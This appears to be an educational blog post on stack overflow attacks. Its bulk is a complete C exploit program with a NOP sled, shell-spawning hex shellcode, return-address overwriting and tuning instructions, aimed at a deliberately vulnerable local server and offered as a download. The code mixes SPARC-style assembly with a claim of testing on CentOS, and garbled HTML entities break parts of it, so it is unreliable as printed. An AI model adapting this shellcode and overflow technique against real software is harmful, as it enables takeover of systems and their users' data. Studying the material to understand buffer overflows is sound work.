A famous and widely attempt security breach in systems of all kinds is “stack overflow”. The concept of stack overflow is broad enough to cover most modern operating systems and is a severe security threat. The purpose of a stack overflow attempt is to hijack control of a computer process by tricking the CPU into running instructions of a program written by the hacker.
Methods of achieving this goal differ between operating system and the existing program to infiltrate, but overall consist of the same idea.
The following program implements a stack overflow hack against a specific server program that was written to allow such to occur. The server program reads in memory into a buffer of a particular size but does so without checking the size of the buffer against what is allowed. As a result the buffer is filled with our shell program and using the NOP Sled technique overwrites the return address of a function within the server. Upon completion the return address is fetched but it no longer points to the calling function but instead points to the hacking Shell program loaded into the buffer. The example shell actually displays a shell prompt allowing the hacker to perform any action they desire.
Here is the exploit program:
#include <stdlib.h>
#include <stdio.h>
#define NOP_SIZE 4
#define DEFAULT_OFFSET 4332088
#define DEFAULT_BUFFER_SIZE 448
// NOP Command represented as HEX for Binary
char nop_cmd[]="\xac\x15\xa1\x6e";
// Bash Shell Command represented as HEX for Binary
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
// Gets our current stack pointer
unsigned long get_sp(void) {
asm("or %sp,%sp,%i0");
}
void usage(void);
int main(int argc, char *argv[]) {
char *buff, *ptr;
unsigned long *addr_ptr, addr, sp;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, err;
// Takes ARG1 as Buffer Size and ARG2 as Offset
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
// Allocate some memory for our buffer in the heap
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
// get our Stack Pointer address (top of our frame) and apply our offset
sp = get_sp();
addr = sp - offset;
// Show our stack pointer and our value to overwrite return address
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("Usage:\t\t\texploit3 <buffersize> <offset>\n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("Exploit SP:\t\t0x%p\n", sp);
printf("Overwrite Addr:\t\t0x%p\n", addr);
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("\n");
printf("Approach:\n");
printf("Segmentation faults and Bus Errors are caused one of three ways.\n1) By an offset not aligned by modulo 8.\n2) By a buffer size too large.\n3) By a Buffer not aligned with modulo 8.\n\n");
printf("Illegal Instruction is caused by one way.\n1) By overwriting the return address with a location in memory that holds no instruction.\n\n");
printf("Begin with a Buffer size large enough to cause segmentation fault or bus error. Then decrease the buffer size until you recieve an Illegal Instruction.\n");
printf("Then calculate your proper overflow address by:\n");
printf("Exploit SP + 0xFFFFFFFF - COPY &amp;amp;amp;buf\n");
printf("Mod 8 Result, and subtract from result.\n\n");
printf("If a clean exit occurs, your buffer is too small or the return address is not pointing to buffer.\n\n");
printf("Executing exploit attempt...\n");
// fill entire buffer with nops
for( i = 0; i < bsize; i+=4 ) {
strcpy( &amp;amp;amp;buff[i], nop_cmd );
}
// shove the shell code in the middle of the buffer
// bsize>>1 = divide by two (since unsigned long doesn't like '/')
ptr = buff + ((bsize>>1) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
// pad our attempted return addresses onto the end to overflow the parent return address
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
// end our buffer with a null char so strcopy in server copy() will end
buff[bsize - 1] = '\0';
// run the server and pass it our malicious buffer
err = execl( "./server3", "server3", buff, ( void *)0 );
if( err == -1 )
perror("execl");
return 0;
}
void usage(void) {
(void)fprintf(stderr,
"usage: exploit3 <buffersize> <offset>\n");
}
The above program was tested and worked with the related server program running on a CentOS Linux server.
Attached is a zip file with the source code, and server program. Feel free to download. Note that this is purely educational and in no way should be used for malicious use. The program illustrated is an example of my own work and is strictly educational in nature.
Download: StackOverflow.zip


